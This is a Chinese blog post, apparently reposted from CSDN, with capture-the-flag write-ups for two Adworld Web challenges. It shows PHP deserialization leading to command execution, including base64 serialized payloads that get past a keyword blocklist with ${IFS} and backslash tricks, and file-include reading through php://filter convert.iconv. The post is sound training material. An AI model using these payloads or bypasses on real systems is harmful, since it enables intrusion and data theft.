双剑破天门:攻防世界Web题解之独孤九剑心法(一)

2025-04-15 0 650

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:攻防世界web-Unseping

二:攻防世界web-file_include

三:总结


一:攻防世界web-Unseping

打开发现为php代码,我们先进行代码审计

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

//靶场代码如下
<?php
highlight_file(__FILE__);

class ease{

    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\\||&|;| |\\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));

$payload=new ease(method:'ping', args:array('l/s'));

echo base64_encode(serialize($payload));

?>

1:首先利用post方法接受一个CTF并赋值给$ctf


2:将$ctf进行base64编码后再反序列化

_wakeup:在反序列化时被调用


3:调用_wakeup方法,将$this->arg进行遍历(也就是调用waf方法对$v进行过滤,然后将过滤后的$v在赋值给 $this->args也就是$k


4:接受一个$str参数,然后利用if语句对str进行正则 检查。如果不包含就返回$str反之输出don’t hack

_destruct:在脚本结束时调用

call_user_func_array :是 PHP 里一个相当实用的函数,它能动态调用函数或者方法,并且可以把参数以数组形式传递给被调用的函数或方法


5:首先判断$this->method是否为ping 如果为ping则调用$this->method方法也就是pin方法并将$this->args传给该方法,也就是传递给6


6:接受一个$ip也就是$this->metgod ,利用exrc执行$ip命令并将结果存在$result中最后在打印出来。


7:定义一个类然后声明两个私有属性,创建一个函数在类被调用时接收两个参数并赋值给$this->method和$this->args


所以根据上述审计结果,代码流程为:首先接收post请求的CTF并将其base64编码后反序列化然后调用_wakeup方法遍历过滤在调用_deestruct方法进行调用ping,在ping中执行exrc方法。

构建payload:

1.创建一个新的ease对象设置method为“ping” args为执行的命令

2.由于ls被过滤所以ls=l/s就可以绕过

$payload=new ease(method:'ping', args:array('l/s'));

echo base64_encode(serialize($payload));

注意要英文书写

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

序列化得到:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

得到flag目录修改payload查看此目录

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

${IFS}=空格

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZmxcYWdfMXNfaGVyZSI7fX0=

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

得到flag文件查看这个文件在构建payload

Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoibW9yZSR7SUZTfWZsXGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZsXGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=

More:查看文件

$(printf${IFS}”\\57”)=\\

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

得到flag

双剑破天门:攻防世界Web题解之独孤九剑心法(一)


二:攻防世界web-file_include

打开为如下所示

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

//靶场代码
<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

文件包含了一个check.php但我们访问不到,如何读取这个文件,我们利用php伪协议:php:/filter

常见的伪协议有:

php://filter/read=convert.base64-encode/resource=flag.php

php://filter/resource=flag.php

通过实验这两个都不可以

双剑破天门:攻防世界Web题解之独孤九剑心法(一)


尝试其他伪协议

convert.iconv.<input-encoding>原始文件字符编码.<output-encoding>目标文件字符编码 (转化过滤器)

//字符编码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

我们利用bp尝试,对两个字符编码进行爆破,爆破字典如上

双剑破天门:攻防世界Web题解之独孤九剑心法(一)

爆破成功得到flag,这道题目考察的是convert.iconv.<input-encoding>.<output-encoding> 伪协议

双剑破天门:攻防世界Web题解之独孤九剑心法(一)


三:总结

攻防世界Web题中反序列化漏洞常考察PHP对象注入及魔术方法利用,伪协议题目多涉及php://filter、phar://等协议进行文件读取/反序列化攻击,需灵活运用编码转换和特性绕过防护。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

平台声明:以上文章转载于《CSDN》,文章全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,仅作参考。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/w11111111152/article/details/147258803

遇见资源网 前端 双剑破天门:攻防世界Web题解之独孤九剑心法(一) http://www.ox520.com/157603.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务